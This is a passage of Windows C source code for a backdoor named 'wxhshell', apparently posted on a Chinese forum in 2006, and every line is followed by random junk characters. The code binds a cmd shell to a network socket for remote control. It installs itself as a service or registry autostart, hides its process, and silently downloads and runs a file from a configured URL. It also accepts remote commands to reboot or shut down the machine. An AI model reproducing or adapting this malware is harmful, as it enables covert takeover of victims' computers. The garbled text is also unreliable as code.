  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2/GH5b(  
  else 4CDmq[AVS[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qr/?tMALc  
  } P)T:6K  
  else { % R'eV<  
3vy5JTCz~  
    switch(cmd[0]) { j"f ]pzg&  
  )%Y$F LB  
  // 帮助 ALFw[1X  
  case '?': { <#c2Hg%jh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0^;{b^!(  
    break; fUa`Y ryQ  
  } ohwQ%NDl  
  // 安装 w^r*qi"  
  case 'i': { zFOX%q  
    if(Install()) ?&?y-&.5-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ct/I85c@P  
    else y&iLhd!p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  X'0A"9  
    break; >~6 ;9{@  
    } <{'':/tXI  
  // 卸载 zj8;ENhEI  
  case 'r': { Y yI|^f8C  
    if(Uninstall()) BKN]DxJ6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %bddR;c  
    else t]Vw` z%G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 62.{8Uj  
    break; 7m1*Q@D  
    } ek.L(n,J|  
  // 显示 wxhshell 所在路径 aFhsRE?YC=  
  case 'p': { eM8u ;i  
    char svExeFile[MAX_PATH]; 5t0$nKah]  
    strcpy(svExeFile,"\n\r"); ,]o32@   
      strcat(svExeFile,ExeFile); Wc(?ezn  
        send(wsh,svExeFile,strlen(svExeFile),0); A M# '(k(  
    break; ZM<1;!i  
    } %!WQ;(  
  // 重启 wLW!_D,/R  
  case 'b': { J9{B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p_[k^@ $  
    if(Boot(REBOOT)) 1,4kw~tA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,"&vhgYU  
    else { ] Qj65]  
    closesocket(wsh); ~fr1O`8  
    ExitThread(0); jLZ+HYyG9  
    } R_/T bz  
    break; +W-sb5)  
    } Q7i^VN  
  // 关机 7pkc*@t  
  case 'd': { n`CmbM@@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D`Fl*Wc4H  
    if(Boot(SHUTDOWN)) w)hJ0k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j'~xe3j  
    else { ~?nPp$^  
    closesocket(wsh); %2V_%KA  
    ExitThread(0); mz>"4-]  
    } 7kleBDDT  
    break; 1&wLNZXH  
    } ;IwC`!(#  
  // 获取shell ,VbP$1t  
  case 's': { +i{&"o4}  
    CmdShell(wsh); }Vg &9HY  
    closesocket(wsh); cJL>,Z<|%  
    ExitThread(0); @aI`ru+a  
    break; \\BblzGMR  
  } aMT&}3  
  // 退出 9Lv`3J^~  
  case 'x': { 7 pp[kv;!G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $YFn$.70\  
    CloseIt(wsh); GT`:3L  
    break; }KJ/WyYW  
    } AuSL?kZ4|Y  
  // 离开 UtY< R  
  case 'q': { Ktg6*L/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )J5(M`  
    closesocket(wsh); J/=b1{d"n  
    WSACleanup(); v cqL  
    exit(1); r*y4Vx7  
    break; 'Ko T8g\b  
        } 2#ypM9  
  } aZ- )w  
  } KK/~W  
_epi[zf@  
  // 提示信息 Q_]O[Kx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jg' 'T1)  
} 0lY.z$V  
  } b1E>LrL  
J$@3,=L6V  
  return; L/#^&*'B  
} , En D3 |  
{-tCLkE 3  
// shell模块句柄 |G!-FmIK  
int CmdShell(SOCKET sock) L~CwL  
{ |Kh#\d  
STARTUPINFO si; e*=N\$  
ZeroMemory(&si,sizeof(si)); 7hY~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e&#qj^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `TBau:ElI  
PROCESS_INFORMATION ProcessInfo; LQ373 j-  
char cmdline[]="cmd"; L:j;;9Sp{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  E*i <P  
  return 0; ^DM^HSm  
} #|xK> ;  
nu|;(ly  
// 自身启动模式 %Gh!h4Pv  
int StartFromService(void) ut fD$8UI  
{ H~Hh $-z  
typedef struct u6$fF=  
{ [$ vAjP  
  DWORD ExitStatus; ESL(Mf'  
  DWORD PebBaseAddress; V1,O7m+F2  
  DWORD AffinityMask; [C.Pzo  
  DWORD BasePriority; ;WWUxrWif  
  ULONG UniqueProcessId; vSX71  
  ULONG InheritedFromUniqueProcessId; TlQu+w|  
}   PROCESS_BASIC_INFORMATION; s^)wh v`C  
5$`ihO?  
PROCNTQSIP NtQueryInformationProcess; 5W(G~m?jC6  
#iJ+}EW _  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "~> # ;x{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XN'x`%!*3#  
9YwK1[G6/  
  HANDLE             hProcess; -[^aWNqyJ  
  PROCESS_BASIC_INFORMATION pbi; wRCGfILw  
ej4xW~_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3 T+#d-\  
  if(NULL == hInst ) return 0; /:~mRf^  
_r^Cu.[7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8%@7G*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZEiW\ V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S8TJnv`?'  
^~E?7{BL  
  if (!NtQueryInformationProcess) return 0; !/[/w39D0o  
Mnn\y Tblp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g!,>.  
  if(!hProcess) return 0; A|Up >`QH  
mhv{6v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2zZ" }Zr#  
@rB!47!  
  CloseHandle(hProcess); oQ{(7.e7)  
0sD"Hu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f,wB.MN  
if(hProcess==NULL) return 0; \'q 9,tP  
`%SFu  
HMODULE hMod; 82O#Fe q  
char procName[255]; 0B7cpw>_J  
unsigned long cbNeeded; .BuXg<`  
pdUrVmW"'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FZ)_WaqGf  
0O5(\8jM  
  CloseHandle(hProcess); s G!SSRL@  
K&0'@#bE\  
if(strstr(procName,"services")) return 1; // 以服务启动 JPltB8j?  
c!{v/zOz  
  return 0; // 注册表启动 ROw9l!YF  
} Vcm9:,Xlw  
X~(%Y#6  
// 主模块 3C=ON.1eg  
int StartWxhshell(LPSTR lpCmdLine) ~G+o;N,V  
{ qv>?xKSm  
  SOCKET wsl; wxYB-Wh<  
BOOL val=TRUE; $[x2L s~  
  int port=0; zZ@]Kq;.s  
  struct sockaddr_in door; 2y s'q !  
aY&He~  
  if(wscfg.ws_autoins) Install(); @8a1a3_F  
|1iCt1~U  
port=atoi(lpCmdLine); v!{mpF  
?fr -5&,  
if(port<=0) port=wscfg.ws_port; @Fv"j9j-3G  
{x$jGiag+8  
  WSADATA data; ;-Fr^|do y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tXDO@YH3S  
T1sb6CT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )4q0(O)d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I CCmE#n  
  door.sin_family = AF_INET; J{<,V\t)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mltG4R ?  
  door.sin_port = htons(port); 2mg4*Ys  
|E/U(VS3l~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mF7T=pl  
closesocket(wsl); WP{!|d&  
return 1; HIM>%   
} Q}.zE+  
a7KP_[_(  
  if(listen(wsl,2) == INVALID_SOCKET) { qw={gZ  
closesocket(wsl); cyu)YxT  
return 1; Z:7X=t =  
} YaI8hj@}  
  Wxhshell(wsl); yyCx;  
  WSACleanup(); f-!t31?XK  
7UM!<@9\  
return 0; WtlPgT;wE  
;[9WB<t  
} I[E/)R{\  
IWbW=0IsS  
// 以NT服务方式启动 |a/1mUxQ&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ug47JW  
{  0].*eM  
DWORD   status = 0;  lt%bGjk  
  DWORD   specificError = 0xfffffff; `hJSo?G>  
WPLM*]6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =I. b2e 1z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OY$P8y3MY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?fF{M%i-%  
  serviceStatus.dwWin32ExitCode     = 0; 0tV"X  
  serviceStatus.dwServiceSpecificExitCode = 0; q):Ph&'r  
  serviceStatus.dwCheckPoint       = 0; ,I# X[^/  
  serviceStatus.dwWaitHint       = 0; ~Mu=,OT  
(9R;a np  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~{MmUp rS  
  if (hServiceStatusHandle==0) return; u7R:7$H  
pI*/ - !I  
status = GetLastError(); Hp`Mp)1s  
  if (status!=NO_ERROR) 9;,_Q q  
{ E5@U~|V[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #SWL$Vm>  
    serviceStatus.dwCheckPoint       = 0; (KQAKEhD!  
    serviceStatus.dwWaitHint       = 0; wbg_%h:  
    serviceStatus.dwWin32ExitCode     = status; ,jVj9m  
    serviceStatus.dwServiceSpecificExitCode = specificError; =pHWqGOD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _h;#\ )%~  
    return; j n[%@zD}  
  } O{WJi;l  
:$eg{IXC"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; haj\Dm  
  serviceStatus.dwCheckPoint       = 0; G+Vlaa/7  
  serviceStatus.dwWaitHint       = 0; O%:EPdoU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1~X~"M  
} h!#!}|Q'  
+Ja9p  
// 处理NT服务事件,比如:启动、停止 38(Cj~u=3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0>PO4WFVJ  
{ &Z Ja}5k!r  
switch(fdwControl) ?Uz7($}  
{ 'J*)o<%  
case SERVICE_CONTROL_STOP: \VJ7ahg[\  
  serviceStatus.dwWin32ExitCode = 0; f?xc-lX5R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9AJMm1 _  
  serviceStatus.dwCheckPoint   = 0; L\p@1N?K  
  serviceStatus.dwWaitHint     = 0; _ElA\L4g%  
  { mG;Gt=4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B/@9.a.c  
  } ^ 'jJ~U  
  return; b.Wf*I?  
case SERVICE_CONTROL_PAUSE: SVvR]T&_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?9<byEO%M  
  break; [p3)C<;ZC  
case SERVICE_CONTROL_CONTINUE: C/nzlp~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %DJxUuh  
  break; \dpsyc  
case SERVICE_CONTROL_INTERROGATE: 40VdT|n$$  
  break; tg%U 2+.q  
}; ,]ALyWGuX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fG;(&Dx  
} 'MEO?]Tf.^  
?V|t7^+:  
// 标准应用程序主函数 k:D;C3vJd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,XmTKO c  
{ NNUm=g^  
G[U'-a}I  
// 获取操作系统版本 Vj.5b0/(  
OsIsNt=GetOsVer(); y~jKytq^@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4BSSJ@z  
nx<q]J uv\  
  // 从命令行安装  gB\ a  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0>jo+b\D$  
=1D* JU  
  // 下载执行文件 /mST<{(_G\  
if(wscfg.ws_downexe) { n ETm"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lH_S*FDa  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,$ICv+7]  
} <{\UE~  
^%|(dMo4  
if(!OsIsNt) { cpV:y  
// 如果时win9x,隐藏进程并且设置为注册表启动 7QdU|1]  
HideProc(); E%L]ifA9!  
StartWxhshell(lpCmdLine); P<iS7Ys+  
} ^:0NKq\  
else x+h7OvW{  
  if(StartFromService()) H^s@qh)L  
  // 以服务方式启动 >j]*=&,7  
  StartServiceCtrlDispatcher(DispatchTable); Q7PqN1jTE  
else IyE9G:fY  
  // 普通方式启动 $;<h<#_n;  
  StartWxhshell(lpCmdLine); ; *G[3kk  
TI -#\v9  
return 0; -B\`O*Q  
}
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只看该作者 1 发表于: 2006-10-10
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